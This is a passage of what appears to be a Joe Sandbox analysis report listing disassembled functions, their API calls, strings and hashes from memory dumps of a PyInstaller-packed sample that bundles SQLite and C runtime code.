Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memcmp
String ID: -$string or blob too big
API String ID: 1475443563-1787376532
Opcode ID: 789f9694f8fc9d15ae2ad7dd3842b780ab88740225e9c144cbb8f42dc160a064
Instruction ID: f166f973909702a5d844c88d45ef868ab16a8ef8e86b605d5036a78c8a1d4efd
Opcode Fuzzy Hash: 789f9694f8fc9d15ae2ad7dd3842b780ab88740225e9c144cbb8f42dc160a064
Instruction Fuzzy Hash: BED1F432A0FA9696EB648B15904637927B0EF41BC4F184035DE8D67295FF3CF842C72A

Function 00007FF8A89B81E0 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 307COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89B82F7
memset.VCRUNTIME140 ref: 00007FF8A89B8486

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89B8620
%s at line %d of [%.10s], xrefs: 00007FF8A89B8639
database corruption, xrefs: 00007FF8A89B862D

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2221118986-1728192754
Opcode ID: 409a08fffaa1dc02a7667b717994f91954b6f76c5c852b86b40701cfe09c276b
Instruction ID: 8d42d5deab7a858001e2674a7ecba3ce79decad254167603fb62df3b717a0c9c
Opcode Fuzzy Hash: 409a08fffaa1dc02a7667b717994f91954b6f76c5c852b86b40701cfe09c276b
Instruction Fuzzy Hash: 26D19D7360AA829ADB60CF25E0082A977A1FB88BD9F194036DF4D57794EF38D852C315

Function 00007FF8A899E8B0 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 301stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A899E93C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A899EB4A

Strings

winOpenShm, xrefs: 00007FF8A899EBEC
%s-shm, xrefs: 00007FF8A899E953
readonly_shm, xrefs: 00007FF8A899EB40

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memsetstrcmp
String ID: %s-shm$readonly_shm$winOpenShm
API String ID: 195427100-2815843928
Opcode ID: 0ae25811fee65c565612dece85eded5c2bf696d7f7505d64fa32b613e2ca254e
Instruction ID: bf52f232533c1cabf3e531c8592cb30eab07202056a0a3bd004bccf6fef14856
Opcode Fuzzy Hash: 0ae25811fee65c565612dece85eded5c2bf696d7f7505d64fa32b613e2ca254e
Instruction Fuzzy Hash: E6D19221A0BE42A6EB64DB61E44967C3790FF44BE2F4C4631D95E436A0EF7CA845C329

Function 00007FF8A89E4D91 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 288COMMON

Download Yara Rule

Strings

REUSE SUBQUERY %d, xrefs: 00007FF8A89E4D9B
Expression tree is too large (maximum depth %d), xrefs: 00007FF8A89E5104
CORRELATED , xrefs: 00007FF8A89E4E6A
%sSCALAR SUBQUERY %d, xrefs: 00007FF8A89E4E75

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: %sSCALAR SUBQUERY %d$CORRELATED $Expression tree is too large (maximum depth %d)$REUSE SUBQUERY %d
API String ID: 0-875495356
Opcode ID: aea77afb93c9f3b098996b3e16d57907b3a468a025301fa2ba1b48c9b9d1d8e9
Instruction ID: 70aef5534cf388b9a4223906069ad7e22177c008e30fdcc8e6db231ac05baf14
Opcode Fuzzy Hash: aea77afb93c9f3b098996b3e16d57907b3a468a025301fa2ba1b48c9b9d1d8e9
Instruction Fuzzy Hash: FCD1C072A1AB819BE720CF15D4447AD7BA5FB84B84F498239DB4E43785EF38E460C714

Function 00007FF8A8A8F1A0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 180COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A8F256
memmove.VCRUNTIME140 ref: 00007FF8A8A8F328

Strings

, xrefs: 00007FF8A8A8F1E3
, xrefs: 00007FF8A8A8F2E3

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: $
API String ID: 2162964266-227171996
Opcode ID: d1187625c1d01a9b12d471fba17e75e56f3325a5a2e9a6a93d50e0d262572bf9
Instruction ID: b5ea862b91c26254cfaf30b97cecaa5cc3ca5f05bfafa74289cc7db1133223ed
Opcode Fuzzy Hash: d1187625c1d01a9b12d471fba17e75e56f3325a5a2e9a6a93d50e0d262572bf9
Instruction Fuzzy Hash: FB51B466E0F69366FB669B15B80623966D0EF85BD0F484031DE5D06285FF3CF842833A

Function 00007FF8A8A34AB0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 155stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,?,00007FF8A8A34D28), ref: 00007FF8A8A34BF4
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,?,00007FF8A8A34D28), ref: 00007FF8A8A34C0E
memmove.VCRUNTIME140(?,?,?,?,?,00000000,00000000,?,00007FF8A8A34D28), ref: 00007FF8A8A34CAA

Strings

INS, xrefs: 00007FF8A8A34C04
CRE, xrefs: 00007FF8A8A34BEA

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: strncmp$memmove
String ID: CRE$INS
API String ID: 1439351137-4116259516
Opcode ID: b5cc75a41684ca17347e26468fd2cbe740f0c0ee18a60755bd519c7a392812de
Instruction ID: a466ae5833e53c05a808b75bd1828e7eac59511b3092b80cd0c5d5d76889e63c
Opcode Fuzzy Hash: b5cc75a41684ca17347e26468fd2cbe740f0c0ee18a60755bd519c7a392812de
Instruction Fuzzy Hash: 1751CB29B0FA42A5FA609F1690563792294FF60FC4F484131DE4E47795EF3DF802832A

Function 00007FF692A0A578 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF692A0A5A0
_set_statfp.LIBCMT ref: 00007FF692A0A5BB
_set_statfp.LIBCMT ref: 00007FF692A0A5D7
_set_statfp.LIBCMT ref: 00007FF692A0A613

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 0930854702753b3b0fe78388604ce6dc65a675aa7c86244b9233916a9f071b1a
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 72113D23FE8A0205F7741368D5567792160FF5736CF0947B4EB6E867DB8EACA8818100

Function 00007FF6929FC230 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC24F
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC26E
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC296
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC2A7
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC2B8

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f093dcbc92af1e3aa367f2b6fc1c91c9a5e0268c5164b70814886a972eb1fb3e
Instruction ID: cf6b87e992c6f0cee0dbeae54b3bba8f3bd6d086c17eadc043f5a0d459c35991
Opcode Fuzzy Hash: f093dcbc92af1e3aa367f2b6fc1c91c9a5e0268c5164b70814886a972eb1fb3e
Instruction Fuzzy Hash: E3117251F4D20242FAF897A356911FA5351DF59BB8F0483B4F93E866D7DEACE8025300

Function 00007FF6929FC0C4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6929FC0D5
FlsSetValue.KERNEL32 ref: 00007FF6929FC0F4
FlsSetValue.KERNEL32 ref: 00007FF6929FC11C
FlsSetValue.KERNEL32 ref: 00007FF6929FC12D
FlsSetValue.KERNEL32 ref: 00007FF6929FC13E

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: b5f9c016544c14a61e3f8eadbcdda9750137674775a662515f0f7d7b8dd5c16a
Instruction ID: 21423a3058fb19831b3db5c951ea76c4d991a0e55f0f3275f9bcb537b5d7a156
Opcode Fuzzy Hash: b5f9c016544c14a61e3f8eadbcdda9750137674775a662515f0f7d7b8dd5c16a
Instruction Fuzzy Hash: A8110A51B4A20342FAF8A72248521BA1251CF5977CE1887B4E93EC96D3DDACB8526204

Function 00007FF6929F6F00 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F6F3C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F7066
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F711C

Strings

verbose, xrefs: 00007FF6929F6F10

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 5742ae6ca51b03e9d6fd204cb41504e479b7e72b202bc53543779a715851f7d3
Instruction ID: b1449ddfe457266274fdaa29f4d78d7c4bfee95bd114a2617eece158c87d8f84
Opcode Fuzzy Hash: 5742ae6ca51b03e9d6fd204cb41504e479b7e72b202bc53543779a715851f7d3
Instruction Fuzzy Hash: 3891D122A0964681F7B08E26D4507FF3791EF40B9CF484176EA59877CADEBCEC09A301

Function 00007FF692A00DD8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A010B7

Part of subcall function 00007FF6929F8918: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F8935

Strings

UTF-16LEUNICODE, xrefs: 00007FF692A01055
ccs, xrefs: 00007FF692A00FF2
UTF-8, xrefs: 00007FF692A01036

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 0f94fbfdb2a41be3f3cf5a79916f7e54565c06583a8995a71c4ffc2f48f318d6
Instruction ID: 6494b6f2fb31344743344ee7895a2687cb70c55d76ccb1cc526bd352df230161
Opcode Fuzzy Hash: 0f94fbfdb2a41be3f3cf5a79916f7e54565c06583a8995a71c4ffc2f48f318d6
Instruction Fuzzy Hash: A681C273E8E24289F7744F2582106B837A0EF13B4CF5580B6DA4EE7285CFADE941A745

Function 00007FF8A89923D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 180COMMON

Download Yara Rule

APIs

_localtime64_s.API-MS-WIN-CRT-TIME-L1-1-0(?), ref: 00007FF8A89924C7

Strings

-, xrefs: 00007FF8A899263F
, xrefs: 00007FF8A8992620
ilable, xrefs: 00007FF8A8992656

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: _localtime64_s
String ID: $-$ilable
API String ID: 4067328638-1697327243
Opcode ID: a3928b853394d62fd8a26d0239e75d70635e69ce95fd8952df749f68bf9b55b1
Instruction ID: e6876383ea4c9f2744de0e31ab0b938fee990425b66ac469346705fc5b25957f
Opcode Fuzzy Hash: a3928b853394d62fd8a26d0239e75d70635e69ce95fd8952df749f68bf9b55b1
Instruction Fuzzy Hash: FF813772F1AA459AE714CF74D8113BC33A0EB5878CF048236DA0D96A95FF38E185C714

Function 00007FF6929ECB78 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6929ECBA3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6929ECC3A
RtlUnwindEx.KERNEL32 ref: 00007FF6929ECC94

Strings

csm, xrefs: 00007FF6929ECC21

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: ef1879a6950a8d40b8b6b13be53b940b4e1f0e07f3723e86cdcfdad74941457a
Instruction ID: f8e8c00852f538818e51880754516ccec5cb79beb11e293a1d0a81bef4b4bf1b
Opcode Fuzzy Hash: ef1879a6950a8d40b8b6b13be53b940b4e1f0e07f3723e86cdcfdad74941457a
Instruction Fuzzy Hash: B1519032A196028AFB24DF16E444A7C3795FB44B9CF108571EA9E87796DFBDE881C700

Function 00007FF6929EE408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6929EE467
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6929EE4B3

Strings

MOC, xrefs: 00007FF6929EE47B
RCC, xrefs: 00007FF6929EE483

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 0008505033c860c887c654c4879225e67528ed16fc7c6c3a96efc88f305ea5d8
Instruction ID: 3dd4ee32527374e1252a02fe7d48254bc42dcd65cbc245b7790da4adec575d02
Opcode Fuzzy Hash: 0008505033c860c887c654c4879225e67528ed16fc7c6c3a96efc88f305ea5d8
Instruction Fuzzy Hash: DE617172908B8585EB719F16E4403BAB7A0FB94B98F044265EBDC4779ADFBCD194CB00

Function 00007FF6929EE7B8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6929EE7E0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6929EE8C8

Strings

csm, xrefs: 00007FF6929EE802
csm, xrefs: 00007FF6929EE91A

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 3d688b2030f6ff0abdfc3dd59f0c327938197cf645ae74c01235bdaf5d58afed
Instruction ID: 93eb0d450fa439a0fc57e912b4bc44c25f46ae7eafadff292e6a241981386beb
Opcode Fuzzy Hash: 3d688b2030f6ff0abdfc3dd59f0c327938197cf645ae74c01235bdaf5d58afed
Instruction Fuzzy Hash: 4B517C329082428AFBB48B12E44437877A0FB54BA8F1451B5DADC87BC6CFBCE450C701

Function 00007FF6929E7270 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF6929E28EC,FFFFFFFF,00000000,00007FF6929E3362), ref: 00007FF6929E7382

Strings

\, xrefs: 00007FF6929E72E7
%s%c, xrefs: 00007FF6929E72F4
%.*s, xrefs: 00007FF6929E733B

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b46d4c541c9e975ece96b6556eecd4982d71cfacf7166cb3de87d78b2f38c91d
Instruction ID: d1b8a597d932bc7f7ad910645cdc2e6ffef38fb117d30a5ba1ebab7ac9606c9c
Opcode Fuzzy Hash: b46d4c541c9e975ece96b6556eecd4982d71cfacf7166cb3de87d78b2f38c91d
Instruction Fuzzy Hash: FA31C331619AC695FB719B22E8507FA6354FB84BE8F401270EEAD877CADE6CD6058700

Function 00007FF6929E2220 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(FFFFFFFF,00000000,00000000,?,00000000,00007FF6929E862F), ref: 00007FF6929E226E

Strings

[PYI-%d:%ls] , xrefs: 00007FF6929E2276
%ls, xrefs: 00007FF6929E22E5
WARNING, xrefs: 00007FF6929E227D

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: %ls$WARNING$[PYI-%d:%ls]
API String ID: 2050909247-3372507544
Opcode ID: 9a27952706b0edcce65802af7f1770e3887db089615dac0ef249cc8ca7ea00ce
Instruction ID: 1482cd360229f7dd8fa0ff06bf8a7b9fd6c6298a67233a148af51b0c758c7635
Opcode Fuzzy Hash: 9a27952706b0edcce65802af7f1770e3887db089615dac0ef249cc8ca7ea00ce
Instruction Fuzzy Hash: 4321D033608B8291F730AB52B4502FA7364FF843C8F400176EA8D93A5ADEBCE205C740

Function 00007FF8A89F8320 Relevance: 6.3, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89F8380
memmove.VCRUNTIME140 ref: 00007FF8A89F8395
memmove.VCRUNTIME140 ref: 00007FF8A89F83B9
memmove.VCRUNTIME140 ref: 00007FF8A89F83D8
memmove.VCRUNTIME140 ref: 00007FF8A89F83F0

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
